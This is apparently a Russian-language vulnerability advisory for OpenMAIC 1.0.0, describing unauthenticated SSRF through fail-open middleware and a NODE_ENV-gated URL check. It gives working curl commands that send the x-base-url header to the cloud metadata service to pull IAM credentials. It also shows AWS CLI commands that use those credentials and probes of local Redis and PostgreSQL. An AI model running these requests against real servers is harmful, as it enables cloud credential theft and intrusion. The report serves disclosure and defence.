
OpenMAIC 1.0.0: неаутентифицированный исходящий SSRF к службе метаданных облака через fail-open middleware и обход валидации, управляемый переменными окружения
Подтверждено. В middleware аутентификации OpenMAIC и слое исходящих запросов к провайдерам существует двухэтапная цепочка эксплуатации, позволяющая неаутентифицированному удалённому злоумышленнику заставить сервер приложения выполнять произвольные исходящие HTTP-запросы — включая запросы к облачному сервису метаданных экземпляра (IMDS) по адресу 169.254.169.254 — не имея никаких учётных данных.
Этап 1: Edge middleware Next.js в middleware.ts реализует fail-open поведение, когда переменная окружения ACCESS_CODE отсутствует. В конфигурации по умолчанию .env.example переменная ACCESS_CODE не задана, что означает, что все 70 API-маршрутов глобально неаутентифицированы и доступны любому внешнему клиенту.
Этап 2: В пяти различных обработчиках API-маршрутов предоставленные клиентом базовые URL провайдеров (через параметры запроса x-base-url или baseUrl) передаются через validateUrlForSSRF() только когда process.env.NODE_ENV === 'production'. В любом окружении development, staging, preview или при неустановленном значении защита от SSRF полностью пропускается, и приложение выполняет исходящий fetch() по контролируемому злоумышленником URL.
В связке: неаутентифицированный злоумышленник передаёт x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ на любой эндпоинт генерации, и сервер извлекает учётные данные роли IAM облака и возвращает их в ответе. Ни предварительной учётной записи, ни токена, ни локального присутствия не требуется.
Middleware является единственным шлюзом аутентификации для всех API-маршрутов. Когда ACCESS_CODE не задан — состояние по умолчанию согласно .env.example — каждый запрос к каждому маршруту проходит немедленно. Нет ни резервного механизма, ни предупреждения, ни альтернативной проверки аутентификации. Fail-open является безусловным и беззвучным. Это открывает 70 API-эндпоинтов, включая маршруты генерации, персистентности, медиапрокси, извлечения и выполнения ИИ, любому неаутентифицированному вызывающему.
Функция validateUrlForSSRF в lib/server/ssrf-guard.ts уже корректно обрабатывает исключения для конкретных окружений через ALLOW_LOCAL_NETWORKS. Проверка NODE_ENV в каждом обработчике маршрута полностью избыточна как средство для режима разработки, но катастрофична как граница безопасности: она глобально отключает валидацию SSRF во всех развёртываниях staging, preview, CI/CD и самостоятельно размещённых, где NODE_ENV явно не установлен в 'production'.
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d '{"prompt": "test", "model": "dall-e-3"}'
Ожидаемый ответ (проброс IMDS):
ec2-instance-role
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role" \
-d '{"prompt": "test", "model": "dall-e-3"}'
Ожидаемый ответ:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
"SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token": "IQoJb3JpZ2luX2VjEA...",
"Expiration": "2026-09-02T00:30:00Z"
}
export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXXXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEA..."
aws sts get-caller-identity
aws s3 ls
aws iam list-attached-role-policies --role-name ec2-instance-role
# Redis on default port - RESP protocol response returned in API error
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:6379/" \
-d '{"prompt":"INFO"}'
# PostgreSQL on default port
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:5432/" \
-d '{"prompt":"test"}'
| Фаза | Шаг | Эффект |
|---|---|---|
| 1. Неаутентифицированный вход | Удалённый клиент отправляет HTTP-запрос к /api/generate/image без cookies или токенов | middleware.ts вычисляет !process.env.ACCESS_CODE и вызывает NextResponse.next() |
| 2. Приём заголовка | Злоумышленник указывает целевой внутренний адрес в заголовке: x-base-url: http://169.254.169.254/... | Обработчик маршрута извлекает clientBaseUrl из заголовков запроса |
| 3. Обход SSRF | Окружение сервера имеет NODE_ENV !== 'production' (например, staging или значение по умолчанию контейнера) | Обработчик вычисляет process.env.NODE_ENV === 'production' как false и пропускает validateUrlForSSRF() |
| 4. Сток исходящего запроса | Клиент сервиса инициализируется с предоставленным злоумышленником базовым URL и выполняет запрос | Сервер выполняет исходящий fetch() к http://169.254.169.254/ |
| 5. Похищение метаданных | Сервис метаданных облачного экземпляра отвечает метаданными или учётными данными безопасности IAM | Сервер включает тело HTTP-ответа в полезную нагрузку ответа API или сообщение об ошибке |
| 6. Облачный пивот | Злоумышленник извлекает временные учётные данные безопасности AWS/GCP/Azure | Злоумышленник использует облачные учётные данные извне для доступа к облачным ресурсам и хранилищам данных |
Предусловия:
ACCESS_CODE (конфигурация по умолчанию).NODE_ENV не установлен строго в 'production' (например, staging, dev, самостоятельно размещённое или неправильно настроенный контейнер).Чтобы подтвердить достижимость и проверить средства защиты без развёртывания вредоносных полезных нагрузок:
process.env.ACCESS_CODE не определена, middleware.ts возвращает NextResponse.next(). Отправка HTTP-запроса без заголовков аутентификации на любой защищённый эндпоинт (например, POST /api/generate/image) даёт ответ уровня эндпоинта (например, 400/401 для конфигурации провайдера), а не отклонение 401 Access Code Required.NODE_ENV="staging" или NODE_ENV="development" проверьте, вызывается ли validateUrlForSSRF. Из-за if (clientBaseUrl && process.env.NODE_ENV === 'production') выполнение перескакивает блок валидации и пытается установить сетевое соединение с указанным базовым URL.NODE_ENV='development' и передающий loopback URL http://127.0.0.1:9999, проверяет, отклоняется ли запрос с INVALID_URL (403) или допускается к сетевой передаче. В непатченном состоянии запрос пытается установить сокетное соединение; в патченном состоянии он немедленно отклоняется с HTTP 403.